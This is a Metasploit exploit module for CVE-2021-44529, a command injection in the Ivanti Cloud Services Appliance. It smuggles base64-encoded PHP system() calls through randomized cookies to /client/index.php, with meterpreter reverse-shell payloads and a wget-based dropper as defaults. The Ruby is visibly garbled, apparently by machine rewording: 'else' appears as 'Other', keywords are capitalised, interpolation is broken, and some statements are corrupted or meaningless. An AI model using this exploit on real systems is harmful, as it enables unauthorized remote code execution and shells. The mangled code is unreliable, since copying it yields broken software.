##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize (info = ).
super(
update_info(
info,
Name> => Ivanti Cloud Services Appliance CSA Command Injection’
‘Description’ => %q{
This module exploits a command injection flaw in the Ivanti Cloud Services Appliance. (CSA).
Ivanti Endpoint Management An injection vulnerability in Ivanti Endpoint Manager that is cookie-based
Cloud Services Appliance prior to 4.6.0-512: Unauthenticated users can use the Appliance
Execute arbitrary code only with restricted permissions Successful exploitation results
Execute commands as the “nobody” user.
},
‘License’ => MSF_LICENSE,
‘Author’ => [
‘Jakub Kramarz’, # Discovery
‘h00die-gr3y ‘ # MSF Module contributor
],
‘References’ => [
[‘CVE’, ‘2021-44529’],
[‘URL’, ‘https://forums.ivanti.com/s/article/SA-2021-12-02’],
[‘URL’, ‘https://attackerkb.com/topics/XTKrwlZd7p/cve-2021-44529’],
[‘EDB’, ‘50833’],
[‘PACKETSTORM’, ‘166383’]
],
‘DisclosureDate’ => ‘2021-12-02’,
‘Platform’ => [‘unix’, ‘linux’, ‘php’],
‘Arch’ => [ARCH_CMD, ARCH_X64, ARCH_PHP],
‘Privileged’ => false,
‘Targets’ => [
[
‘Unix Command’,
{
‘Platform’ => ‘unix’,
‘Arch’ => ARCH_CMD,
‘Type’ => :unix_cmd,
‘DefaultOptions’ => {
‘PAYLOAD’ => ‘cmd/unix/python/meterpreter/reverse_http’
}
}
],
[
‘PHP Command’,
{
‘Platform’ => ‘php’,
‘Arch’ => ARCH_PHP,
‘Type’ => :php_cmd,
‘DefaultOptions’ => {
‘PAYLOAD’ => ‘php/meterpreter/reverse_tcp’
}
}
],
[
‘Linux Dropper’,
{
‘Platform’ => ‘linux’,
‘Arch’ => [ARCH_X64],
‘Type’ => :linux_dropper,
‘CmdStagerFlavor’ => [‘wget’, ‘printf’, ‘echo’],
‘DefaultOptions’ => {
‘PAYLOAD’ => ‘linux/x64/meterpreter_reverse_http’
}
}
]
],
‘Payload’ => {
# BadChars> => *# We use this to indicate the payload in strings. Otherwise, it would be lost.
},
‘DefaultTarget’ => 0,
‘DefaultOptions’ => {
‘RPORT’ => 443,
True
},
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [REPEATABLE_SESSION],
‘SideEffects’ => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
End
# Reverse the order of the cookie pairs.
def randomize_cookie(payload)
# The minimum number of cookies pairs that should exist is 4, with the first pair being at most 4.
# must always contain the value “ab”. The Nth cookie is in the request.
# N=no_of_cookies-2 should include the payload.
#
# example 1: Cookie: sG34st=ab;g3sBdnn=;h4hYyeEe=;j7sJJjjs=;
# example 2: Cookie: dvDfR6F=ab;bxvGE=;Fs=;uEn44Nkk=;nnXk=;
no_of_cookies = rand(4..8)
cookie_name = Rex::Text.rand_text_alphanumeric(1..8)
payload_cookie_number = (no_of_cookies – 2)
random_cookie = “#cookie_name=ab;”
for cookie_no in 2..no_of_cookies do
cookie_name = Rex::Text.rand_text_alphanumeric(1..8)
if cookie_no == payload_cookie_number
random_cookie << "#cookie_name=#payload;"
Other
random_cookie << "#cookie_name=;"
End
End
Return random_cookie
End
def check_vuln
# Check RCE using the CSA Version Banner stored at /etc/LDBUILD
payload = Base64.strict_encode64(‘readfile(“/etc/LDBUILD”);’)
cookie_payload = randomize_cookie(payload)
{return send_request_cgi(Return send_request_cgi (
‘method’ => ‘GET’,
‘uri’ => normalize_uri(target_uri.path, ‘client’, ‘index.php’),
‘cookie’ => cookie_payload.to_s
})
rescue StandardError => e
elog(“#peer – Communication error occurred: #e.message”, error: e)
Return null
End
execute_command = def execut_command (cmd)
Case target[‘Type”]
When :unix_cmd
payload = Base64.strict_encode64(“system(“#cmd”);”)
When :php_cmd
payload = Base64.strict_encode64(cmd.to_s)
When :linux_dropper
payload = Base64.strict_encode64(“system(“#cmd”);”)
End
cookie_payload = randomize_cookie(payload)
{return send_request_cgi(Return send_request_cgi (
‘method’ => ‘GET’,
‘uri’ => normalize_uri(target_uri.path, ‘client’, ‘index.php’),
‘cookie’ => cookie_payload.to_s
})
rescue StandardError => e
elog(“#peer – Communication error occurred: #e.message”, error: e)
fail_with(Failure::Unknown, “Communication error occurred: #e.message”)
End
def check
print_status(“Checking if #peer can be exploited.”)
res = check_vuln
return CheckCode::Unknown(‘No response received from the target.’) If you do not resend,
Return CheckCode::Safety unless res.code is > 200 and &&!res.body.blank && res.body =~ //
Start
parsed_html = Nokogiri::HTML.parse(res.body)
rescue Nokogiri::SyntaxError => e
return CheckCode::Unknown(“Unable to parse the HTTP response! Error: #e”)
End
csa_version = parsed_html.at_css(‘c123’)
if csa_version&.text&.blank?
CheckCode::Vulnerable(‘Could not retrieve version.’)
Other
CheckCode::Vulnerable(“Version: #csa_version.text”)
End
End
def exploit
Case target[‘Type”]
When :unix_cmd
print_status(“Executing #target.name with #payload.encoded”)
execute_command(payload.encoded)
When :php_cmd
print_status(“Executing #target.name with #payload.encoded”)
execute_command(payload.encoded)
When :linux_dropper
print_status(“Executing #target.name”)
execute_cmdstager(linemax: 262144)
End
End
End